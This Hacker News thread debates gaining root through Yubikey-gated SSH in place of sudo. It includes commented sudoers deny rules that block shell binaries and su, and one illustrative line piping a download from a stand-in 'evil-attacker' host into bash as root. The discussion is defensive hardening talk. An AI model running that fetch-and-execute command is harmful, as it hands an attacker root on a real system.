Hacker News Reader

Comment by stephenr | Hacker News Reader

I might be missing something but doesn't this give you net worse security, because it allows running any arbitrary command with zero confirmation or authentication.

Sudo by default requires users to authenticate with their own password to perform the action (with a grace period for multiple invocations in the same shell within a given timeframe)

This also seems like it would then allow those same users to ssh directly to root from a remote connection (ie consider users who ssh to their own account on a machine and need sudo on it; this then allows them to ssh straight to root)

View on HN

It also seems to me to have an awful lot of security-sensitive code in the critical path that is not needed for this use case.

Granted, a break in OpenSSH will get a lot of attention, but if we're operating at a level of paranoia where this is a relevant part of securing a system, that seems like the bad kind of overkill.

More than that,

this removes sudo's capabilities to limit users by commands and hosts, opens a unix device based attack vector, probably a new process..

Surely, author assumes sudo would be a blanket root, and this assumption have merit most of the time.

I can't recall how many times I had to argue about de-merits of using "sudo su".

Ugh. People can't seem to figure out "sudo -i", or if so, do it to evade logging on monitored systems that should be locked-down.

    # Prevent the trivial `sudo su -`
    # Cmd_Alias SU = /usr/bin/su, /bin/su
    # %wheel ALL=(ALL) NOPASSWD: ALL, !SU

And also, unfortunately, because of sudo's path-based "security" < 1.9.10 without regex matching, there's no sensible way to enforce who can run what except by lengthy allow lists and denying everything else.

   # Prevent trivial interactive shell spawning
   # Problem/feature: this allows `sudo chroot / bash -li`
   # Cmd_Alias SBIN = /usr/sbin/*, /sbin/*
   # Cmd_Alias SHELLS = /bin/bash, /bin/bash-static, /bin/busybox, /bin/busybox-static, /bin/csh, /bin/csh-static, /bin/dash, /bin/dash-static, /bin/fish, /bin/fish-static, /bin/ksh, /bin/ksh-static, /bin/ksh93, /bin/ksh93-static, /bin/lksh, /bin/lksh-static, /bin/mksh, /bin/mksh-static, /bin/pdksh, /bin/pdksh-static, /bin/rbash, /bin/rbash-static, /bin/rbusybox, /bin/rbusybox-static, /bin/rcsh, /bin/rcsh-static, /bin/rdash, /bin/rdash-static, /bin/rfish, /bin/rfish-static, /bin/rksh, /bin/rksh-static, /bin/rksh93, /bin/rksh93-static, /bin/rlksh, /bin/rlksh-static, /bin/rmksh, /bin/rmksh-static, /bin/rpdksh, /bin/rpdksh-static, /bin/rtcsh, /bin/rtcsh-static, /bin/rzsh, /bin/rzsh-static, /bin/sh, /bin/sh-static, /bin/tcsh, /bin/tcsh-static, /bin/zsh, /bin/zsh-static, /usr/bin/bash, /usr/bin/bash-static, /usr/bin/busybox, /usr/bin/busybox-static, /usr/bin/csh, /usr/bin/csh-static, /usr/bin/dash, /usr/bin/dash-static, /usr/bin/fish, /usr/bin/fish-static, /usr/bin/ksh, /usr/bin/ksh-static, /usr/bin/ksh93, /usr/bin/ksh93-static, /usr/bin/lksh, /usr/bin/lksh-static, /usr/bin/mksh, /usr/bin/mksh-static, /usr/bin/pdksh, /usr/bin/pdksh-static, /usr/bin/rbash, /usr/bin/rbash-static, /usr/bin/rbusybox, /usr/bin/rbusybox-static, /usr/bin/rcsh, /usr/bin/rcsh-static, /usr/bin/rdash, /usr/bin/rdash-static, /usr/bin/rfish, /usr/bin/rfish-static, /usr/bin/rksh, /usr/bin/rksh-static, /usr/bin/rksh93, /usr/bin/rksh93-static, /usr/bin/rlksh, /usr/bin/rlksh-static, /usr/bin/rmksh, /usr/bin/rmksh-static, /usr/bin/rpdksh, /usr/bin/rpdksh-static, /usr/bin/rtcsh, /usr/bin/rtcsh-static, /usr/bin/rzsh, /usr/bin/rzsh-static, /usr/bin/sh, /usr/bin/sh-static, /usr/bin/tcsh, /usr/bin/tcsh-static, /usr/bin/zsh, /usr/bin/zsh-static, /usr/local/bin/bash, /usr/local/bin/bash-static, /usr/local/bin/busybox, /usr/local/bin/busybox-static, /usr/local/bin/csh, /usr/local/bin/csh-static, /usr/local/bin/dash, /usr/local/bin/dash-static, /usr/local/bin/fish, /usr/local/bin/fish-static, /usr/local/bin/ksh, /usr/local/bin/ksh-static, /usr/local/bin/ksh93, /usr/local/bin/ksh93-static, /usr/local/bin/lksh, /usr/local/bin/lksh-static, /usr/local/bin/mksh, /usr/local/bin/mksh-static, /usr/local/bin/pdksh, /usr/local/bin/pdksh-static, /usr/local/bin/rbash, /usr/local/bin/rbash-static, /usr/local/bin/rbusybox, /usr/local/bin/rbusybox-static, /usr/local/bin/rcsh, /usr/local/bin/rcsh-static, /usr/local/bin/rdash, /usr/local/bin/rdash-static, /usr/local/bin/rfish, /usr/local/bin/rfish-static, /usr/local/bin/rksh, /usr/local/bin/rksh-static, /usr/local/bin/rksh93, /usr/local/bin/rksh93-static, /usr/local/bin/rlksh, /usr/local/bin/rlksh-static, /usr/local/bin/rmksh, /usr/local/bin/rmksh-static, /usr/local/bin/rpdksh, /usr/local/bin/rpdksh-static, /usr/local/bin/rtcsh, /usr/local/bin/rtcsh-static, /usr/local/bin/rzsh, /usr/local/bin/rzsh-static, /usr/local/bin/sh, /usr/local/bin/sh-static, /usr/local/bin/tcsh, /usr/local/bin/tcsh-static, /usr/local/bin/zsh, /usr/local/bin/zsh-static
   # Cmd_Alias SAFER_BIN = /usr/bin/*, /bin/*, !SHELLS, !/usr/bin/env, !/bin/env, !/usr/bin/su, !/bin/su, !/usr/bin/sudo, !/bin/sudo
   # %wheel ALL=(ALL) NOPASSWD: !ALL, SBIN, SAFER_BIN

With sudo 1.9.12+, the INTERCEPT feature attempts to police exec() further. (Unfortunately, most distros use old versions of sudo so this isn't a turnkey option.)

I agree. sudo is no saint security wise. There are lot's of cases where security may be jeopardized. Intentionally or not.

My argument is based on the fact that being in your own user shell and having to prepend "sudo" for anything that really requires any other user permissions creates a "virtual psychological barrier" where you need to be "more aware" of your surroundings.

Being in a root shell makes this barrier go away and contextual information may not be leveraged well by most humans. And this leads to unnecessary risks.

> This also seems like it would then allow those same users to ssh directly to root from a remote connection

I am using something a bit different than what TFA explains, but it's not dissimilar.

There's no sudo on my machine. The password to get to root is, on purpose, super long and very obnoxious: it's not realistic to type it every time I need root.

So I do I gain root access? Through a private LAN on which there are only two machines: my main machine and my "laptop for root access". So I have a laptop that has no Internet access and that is only connected, through a private LAN, to my main machine. I "ssh root@desktop" and then I tap my Yubikey (SSH is configured to refuse password login and the only key is protected by a Yubikey).

Does it mean "ssh root@..." is allowed on the desktop? Well, yes but:

    - there's no password authentication allowed
    - the only public key allowed has the matching private key on a Yubikey
    - the Yubikey is hooked to a laptop
    - the desktop has a firewall only allowing SSH in from my laptop's IP

So I'm not too concerned.

So there's never any sudo or any su with a terminal opened on the desktop. And I don't need to trust anything I see on the desktop: I only trust what I on my laptop, after ssh'ing using the Yubikey to the desktop.

Because here's the thing: if an attacker has an exploit and can run sudo on my machine, then the terminal where I do "sudo apt-get install xcalc" might has well be "sudo curl http://evil-attacker/privilege-escalation-to-backdoor | bash" (while pretending, on screen, it's "sudo apt-get install xcalc"). And then my Yubikey asks me to click, I click (because I want to install xcalc). And I'm owned.

While good luck doing that on a laptop that is only ever used to establish an SSH session.

I'm also using lots of the hardened kernel and boot parameters (like preventing users from seeing other users' processes) and other little tricks explained in many hardening guides.

Set that up about ten months ago now (don't remember exactly). It's working flawlessly. Not a single issue.

P.S: it's just a proof of concept... But I think that requiring to tap a Yubikey every single time you want to do something as root is something that should be envisaged/discussed more and it was great to read TFA doing it too.

> While good luck doing that on a laptop that is only ever used to establish an SSH session.

[...]

> Set that up about ten months ago now (don't remember exactly). It's working flawlessly. Not a single issue.

So now your laptop hasn't had security updates for 10 months? Things like this are part of the reason I did the research in https://dgl.cx/2023/09/ansi-terminal-security.

It also funny that you've reinvented basically a serial console, but in a modern way, with a second factor. (You could actually just use a physical terminal with S/Key or something.)

> P.S: it's just a proof of concept... But I think that requiring to tap a Yubikey every single time you want to do something as root is something that should be envisaged/discussed more and it was great to read TFA doing it too.

Agreed, https://neilzone.co.uk/2022/11/using-a-yubikey-or-other-secu... is another potential option for this.

> So now your laptop hasn't had security updates for 10 months? Things like this are part of the reason I did the research in https://dgl.cx/2023/09/ansi-terminal-security.

That is very interesting: I'll study that.

You're correct: it's a Debian 12.2 install (seriously hardened). I take it the surface attack is small. I'm literally using only SSH from that machine: it's got a firewall too. It's only allowing new SSH out session to the desktop. Every other traffic is rejected.

So what can realistically affect that machine? SSH exploits for sure...

So for example for the recent SSH "terraspin" exploit, I did implement the workaround (by removing broken Ciphers and MACs from the list of authorized ones).

I don't know about the rest: I mainly SSH as root into the desktop when I need to install a new package and that's about it.

I'm not losing too much sleep over that machine that is on a private LAN and which is not directly connected to the Internet (I'm running both 192.168.x.x and 10.x.x.x at home).

I'm not saying it's a panacea: it was mostly a proof of concept and as it's working fine for my usecase, I kept using it.

> So I do I gain root access?

And how do you do user A can only run commands X, Y, and Z, and edit files in /etc/someapp/?

Isn't this getting you to https://xkcd.com/1200/ ? Like, yeah you've protected root access - and it's a neat and probably effective solution - but if an attacker is in a position to rewrite package manager commands then I have to assume that it's already game over for anything important on your laptop

Well first I never understood this mentality: "If my main account is compromised, then I lost anything anyway".

For those who believe that's true, why not run everything as root? I mean, seriously: why not just run the browser as root?

If you're using a personal machine, there is very little you're gaining by not running a browser as root.

The security gain is significant on multi-user systems where you don't have sudo/doas privileges at all - even if a user is compromised, the system administrator should not have to worry about it.

Why is it not true? What attack are you protecting against?

> why not just run the browser as root?

Practically, last time I tried Chromium wouldn't let me. But Firefox did, at least.

The better answer is that they can use some level of internal sandboxing so that an exploit affecting one part of the browser doesn't make it out of the browser, and AIUI if every part runs as root it's easier to escape that layer of security.

Because that makes it super easy to accidentally clobber stuff. IME, sudo has been more of a guardrail against my idiocy and fat-fingers than it has against malware/other users.

Reply on news.ycombinator.com